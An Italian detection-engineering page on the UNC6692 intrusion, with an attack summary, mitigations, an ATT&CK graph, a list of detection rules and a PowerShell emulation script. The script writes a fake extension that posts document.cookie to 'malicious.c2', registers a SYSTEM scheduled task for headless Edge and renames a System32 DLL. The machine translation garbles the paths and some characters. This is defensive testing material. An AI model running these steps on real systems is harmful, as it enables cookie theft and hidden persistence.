UNC6692 Distribuisce Malware Personalizzato Attraverso l’Ingegneria Sociale
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
UNC6692 ha effettuato un’intrusione a più stadi iniziata con un link di phishing inviato tramite Microsoft Teams, che ha consegnato un payload dannoso di AutoHotKey, e ha distribuito un toolkit di malware modulare personalizzato noto come SNOW, includendo SNOWBELT, SNOWGLAZE e SNOWBASIN. L’operazione ha utilizzato anche una estensione del browser Chromium non autorizzata, un’utilità di tunneling basata su Python, e una backdoor HTTP locale per consentire il movimento laterale, il furto di credenziali e l’esfiltrazione di dati tramite servizi cloud. La campagna si è distinta per il suo efficace abuso di infrastrutture cloud legittime e meccanismi di persistenza nel browser. Rilevare questa attività richiede un monitoraggio attento del comportamento insolito delle estensioni del browser, dei compiti programmati che avviano Edge in modalità headless, e degli accessi sospetti ai servizi di archiviazione cloud.
Indagine
Google Threat Intelligence Group ha scoperto la campagna attraverso l’analisi dei record di chat di Teams, degli script AutoHotKey catturati, delle configurazioni dei compiti programmati, e del traffico di rete che coinvolge AWS S3 e un server WebSocket ospitato su Heroku. L’analisi del malware ha rivelato la famiglia di malware SNOW, i suoi componenti interni, i modelli di comunicazione, e l’uso di PsExec da parte degli attaccanti insieme a strumenti di dumping delle credenziali. Gli investigatori hanno anche confermato il furto della memoria LSASS e dei file del database di Active Directory, che sono stati esfiltrati tramite LimeWire.
Mitigazione
I difensori dovrebbero applicare politiche di restrizione rigorosa con allow-listing per le estensioni del browser, monitorare per Microsoft Edge avviato con flag relativi a modalità headless o estensioni, e bloccare l’accesso a bucket AWS S3 non approvati e domini Heroku. L’applicazione dell’autenticazione a più fattori per account privilegiati e l’osservazione per l’esecuzione di PsExec e dell’accesso a LSASS può aiutare a limitare il furto di credenziali e il movimento laterale. Anche i compiti programmati e le scorciatoie di avvio dovrebbero essere rivisti regolarmente per identificare persistenze non autorizzate.
Risposta
Se viene rilevato un qualsiasi componente SNOW, isolare immediatamente il sistema colpito, terminare i processi sospetti di Edge e AutoHotKey, e raccogliere la memoria per l’analisi forense correlata a LSASS. Bloccare i domini e gli indirizzi IP noti di comando e controllo, rimuovere le estensioni del browser dannose, e ruotare le credenziali per account privilegiati. Dovrebbe essere quindi effettuata un’intera scansione a livello di rete per identificare host compromessi aggiuntivi, insieme a una revisione dei compiti programmati e degli elementi di avvio per la persistenza.
"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 classDef operator fill:#ff9900 %% Technique nodes tech_phishing["<b>Tecnica</b> – <b>T1566.002 Phishing: Link di spearphishing tramite Microsoft Teams</b><br/><b>Descrizione</b>: L’avversario invia un link dannoso tramite Microsoft Teams agli utenti target."] class tech_phishing technique tech_user_exec["<b>Tecnica</b> – <b>T1204.001 Esecuzione da parte dell’utente: Clic su link dannoso</b><br/><b>Descrizione</b>: La vittima clicca sul link dannoso, attivando l’esecuzione."] class tech_user_exec technique tech_ahk["<b>Tecnica</b> – <b>T1059.010 Interprete di comandi e script: AutoHotkey/AutoIT</b><br/><b>Descrizione</b>: Esegue il binario e lo script di AutoHotkey per eseguire ulteriore codice."] class tech_ahk technique tech_python["<b>Tecnica</b> – <b>T1059.006 Interprete di comandi e script: Python</b><br/><b>Descrizione</b>: Esegue loader Python per moduli aggiuntivi."] class tech_python technique tech_ext["<b>Tecnica</b> – <b>T1176 Estensioni software: Installazione di estensione Chromium</b><br/><b>Descrizione</b>: Installa un’estensione del browser dannosa per mantenere la persistenza."] class tech_ext technique tech_schedtask["<b>Tecnica</b> – <b>T1053.005 Compito programmato: Avvia Edge in modalità headless</b><br/><b>Descrizione</b>: Crea compiti programmati per avviare Edge con l’estensione dannosa."] class tech_schedtask technique tech_shortcut["<b>Tecnica</b> – <b>T1547.009 Modifica del collegamento</b><br/><b>Descrizione</b>: Posiziona un collegamento nella cartella di avvio per l’esecuzione automatica."] class tech_shortcut technique tech_ingress["<b>Tecnica</b> – <b>T1105 Trasferimento dello strumento di ingresso</b><br/><b>Descrizione</b>: Scarica payload aggiuntivi come SNOWGLAZE e SNOWBASIN."] class tech_ingress technique tech_obfuscate["<b>Tecnica</b> – <b>T1027 File o informazioni offuscate</b><br/><b>Descrizione</b>: Codifica payload con Base64 e cripta con AESu2011GCM."] class tech_obfuscate technique tech_archive["<b>Tecnica</b> – <b>T1560 Archiviazione dati raccolti</b><br/><b>Descrizione</b>: Cripta e prepara i dati prima dell’esfiltrazione."] class tech_archive technique tech_encchannel["<b>Tecnica</b> – <b>T1573.001 Canale crittografato: Criptografia simmetrica</b><br/><b>Descrizione</b>: Utilizza AESu2011GCM per comunicazioni crittografate."] class tech_encchannel technique tech_tunnel["<b>Tecnica</b> – <b>T1572 Tunneling di protocollo</b><br/><b>Descrizione</b>: Stabilisce un tunnel WebSocket a un server di comando e controllo ospitato su Heroku."] class tech_tunnel technique tech_appproto["<b>Tecnica</b> – <b>T1071.001 Protocollo a livello di applicazione: WebSocket</b><br/><b>Descrizione</b>: Comunica con C2 tramite protocollo a livello di applicazione WebSocket."] class tech_appproto technique tech_proxy["<b>Tecnica</b> – <b>T1090 Proxy</b><br/><b>Descrizione</b>: Utilizza il tunnel come proxy per instradare il traffico."] class tech_proxy technique tech_psexec["<b>Tecnica</b> – <b>T1021.002 SMB/Condivisioni amministrative di Windows: PsExec</b><br/><b>Descrizione</b>: Esegue processi remoti tramite condivisioni amministrative SMB per il movimento laterale."] class tech_psexec technique tech_cred_dump["<b>Tecnica</b> – <b>T1003 Dumping delle credenziali di OS</b><br/><b>Descrizione</b>: Estrae credenziali dalla memoria di LSASS."] class tech_cred_dump technique tech_pass_hash["<b>Tecnica</b> – <b>T1550.002 Passa l’hash</b><br/><b>Descrizione</b>: Utilizza gli hash NTLM catturati per autenticarsi ad altri sistemi."] class tech_pass_hash technique tech_rdp["<b>Tecnica</b> – <b>T1021.001 Protocollo di Desktop Remoto</b><br/><b>Descrizione</b>: Si connette tramite RDP al server di backup e al controllore di dominio."] class tech_rdp technique tech_exfil["<b>Tecnica</b> – <b>T1567.002 Esfiltrazione a un archivio cloud</b><br/><b>Descrizione</b>: Carica file del database AD raccolti su Amazon S3."] class tech_exfil technique %% Tool nodes tool_ahk_binary["<b>Strumento</b> – <b>Nome</b>: Binario AutoHotkey<br/><b>Descrizione</b>: Esegue script AHK compilati."] class tool_ahk_binary tool tool_python_runtime["<b>Strumento</b> – <b>Nome</b>: Interprete Python<br/><b>Descrizione</b>: Esegue loader basati su Python."] class tool_python_runtime tool tool_edge_headless["<b>Strumento</b> – <b>Nome</b>: Microsoft Edge (modalità headless)<br/><b>Descrizione</b>: Browser usato per eseguire l’estensione dannosa."] class tool_edge_headless tool tool_snowglaze["<b>Strumento</b> – <b>Nome</b>: Loader SNOWGLAZE<br/><b>Descrizione</b>: Scarica e lancia moduli aggiuntivi."] class tool_snowglaze tool tool_snowbasin["<b>Strumento</b> – <b>Nome</b>: Loader SNOWBASIN<br/><b>Descrizione</b>: Loader secondario usato dopo SNOWGLAZE."] class tool_snowbasin tool tool_snowbelt_ext["<b>Strumento</b> – <b>Nome</b>: Estensione Chromium SNOWBELT<br/><b>Descrizione</b>: Fornisce persistenza e raccolta dati nel browser."] class tool_snowbelt_ext tool tool_psexec["<b>Strumento</b> – <b>Nome</b>: PsExec<br/><b>Descrizione</b>: Esegue processi su host Windows remoti tramite condivisioni amministrative."] class tool_psexec tool %% Malware nodes malware_snowglaze["<b>Malware</b> – <b>Nome</b>: SNOWGLAZE<br/><b>Descrizione</b>: Loader che crea tunnel WebSocket e cifra il traffico."] class malware_snowglaze malware malware_snowbasin["<b>Malware</b> – <b>Nome</b>: SNOWBASIN<br/><b>Descrizione</b>: Payload secondario che aiuta nella preparazione dei dati."] class malware_snowbasin malware malware_snowbelt["<b>Malware</b> – <b>Nome</b>: Estensione SNOWBELT<br/><b>Descrizione</b>: Estensione Chromium usata per la persistenza e l’esfiltrazione."] class malware_snowbelt malware %% Attack flow connections tech_phishing –>|porta a| tech_user_exec tech_user_exec –>|attiva| tech_ahk tech_ahk –>|usa| tool_ahk_binary tech_ahk –>|esegue| tech_python tech_python –>|usa| tool_python_runtime tech_python –>|scarica| tool_snowglaze tech_python –>|scarica| tool_snowbasin tool_snowglaze –>|installa| malware_snowglaze tool_snowbasin –>|installa| malware_snowbasin malware_snowglaze –>|crea| tech_ext tech_ext –>|installa| tool_snowbelt_ext tool_snowbelt_ext –>|installa| malware_snowbelt tech_ext –>|abilita| tech_schedtask tech_schedtask –>|lancia| tool_edge_headless tech_ext –>|abilita| tech_shortcut tech_shortcut –>|aggiunge| op_shortcut_startup(("Collegamento di avvio")) class op_shortcut_startup operator tech_user_exec –>|scarica| tech_ingress tech_ingress –>|consegna| tech_obfuscate tech_obfuscate –>|prepara| tech_archive tech_archive –>|protegge| tech_encchannel tech_encchannel –>|protegge| tech_tunnel tech_tunnel –>|usa| tech_appproto tech_tunnel –>|agisce come| tech_proxy tech_proxy –>|instrada| tech_psexec tech_psexec –>|usa| tool_psexec tool_psexec –>|esegue| tech_cred_dump tech_cred_dump –>|fornisce| tech_pass_hash tech_pass_hash –>|abilita| tech_rdp tech_rdp –>|si connette a| tech_exfil
Flusso di attacco
Rilevamenti
Esecuzione sospetta di Taskkill (via cmdline)
Visualizza
Possibile tentativo di esecuzione di script AutoHotkey (via cmdline)
Visualizza
Binari / Script sospetti in posizione di avvio automatico (via file_event)
Visualizza
Comunicazione sospetta con dominio Herokuapp (via proxy)
Visualizza
Comunicazione sospetta con dominio Herokuapp (via dns)
Visualizza
IOC (HashSha256) da rilevare: Funivie di neve: come UNC6692 ha impiegato l’ingegneria sociale per distribuire un insieme di malware personalizzato
Visualizza
Rilevazione di esecuzione di script AutoHotKey e Python di UNC6692 [Creazione di processi Windows]
Visualizza
Anomalie di compiti programmati e processi Microsoft Edge di UNC6692 [Registro eventi di sicurezza di Microsoft Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere superato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o scollegati porteranno a diagnosi errate.
-
Narrativa di attacco e comandi:
- Obiettivo: Stabilire un’esecuzione persistente e furtiva del payload basato su browser Snowbelt sull’host della vittima.
- Metodo: Registrare un compito programmato che avvia Microsoft Edge in modalità headless con l’estensione Snowbelt dannosa (
C:TempSnowbelt). L’estensione carica JavaScript dannoso che contatta C2 ed esfiltra i dati. - Indicatore di pulizia: Dopo l’esecuzione del payload, l’attaccante rimuove
CoreUIComponents.dlldalla cache dei DLL del sistema per eludere il rilevamento di un processo Edge “sano”; il processo edge continua a funzionare, ma il modulo è assente, soddisfacendo la seconda clausola della regola.
-
Script di test di regressione:
# Simulazione UNC6692 - crea compito programmato dannoso ed esegue Edge senza CoreUIComponents.dll # ------------------------------------------------------------------------- # 1&zero; Definire variabili $edgePath = "$Env:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe" $extPath = "C:TempSnowbelt" $taskName = "SnowbeltEdgeTask" $arguments = "--headless --load-extension=`"$extPath`"" $taskUser = "SYSTEM" # 2&zero; Assicurarsi che la cartella dell'estensione esista (payload simulato) New-Item -ItemType Directory -Force -Path $extPath | Out-Null Set-Content -Path "$extPathmanifest.json" -Value '{"name":"Snowbelt","version":"1.0","manifest_version":2,"background":{"scripts":["snow.js"]}}' -Encoding UTF8 Set-Content -Path "$extPathsnow.js" -Value 'fetch("http://malicious.c2/collect", {method:"POST", body:document.cookie});' -Encoding UTF8 # 3&zero; Registrare il compito programmato dannoso $action = New-ScheduledTaskAction -Execute $edgePath -Argument $arguments $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -User $taskUser -Force # 4&zero; Avviare il compito immediatamente per generare telemetria Start-ScheduledTask -TaskName $taskName # 5&zero; Rimuovere CoreUIComponents.dll dal processo Edge in esecuzione (simulato) # Nota: In un ambiente reale, ciò comporterebbe hijacking dei DLL o patch della memoria del processo. # Qui semplicemente eliminiamo il file per causare il mancato rilevamento nel controllo delle tasklist. $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" if (Test-Path $dllPath) { Rename-Item -Path $dllPath -NewName "CoreUIComponents.dll.bak" -Force } # 6&zero; Verificare che Edge sia in esecuzione e che il DLL sia assente $proc = Get-Process -Name "msedge" -ErrorAction SilentlyContinue if ($proc) { Write-Host "Processo Edge PID $($proc.Id) avviato con estensione dannosa." } -
Comandi di pulizia:
# Rimuovere il compito programmato Unregister-ScheduledTask -TaskName "SnowbeltEdgeTask" -Confirm:$false # Ripristinare CoreUIComponents.dll se è stato rinominato $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" $backup = "$Env:SystemRootSystem32CoreUIComponents.dll.bak" if (Test-Path $backup) { Rename-Item -Path $backup -NewName "CoreUIComponents.dll" -Force } # Eliminare i file di estensione simulati Remove-Item -Path "C:TempSnowbelt" -Recurse -Force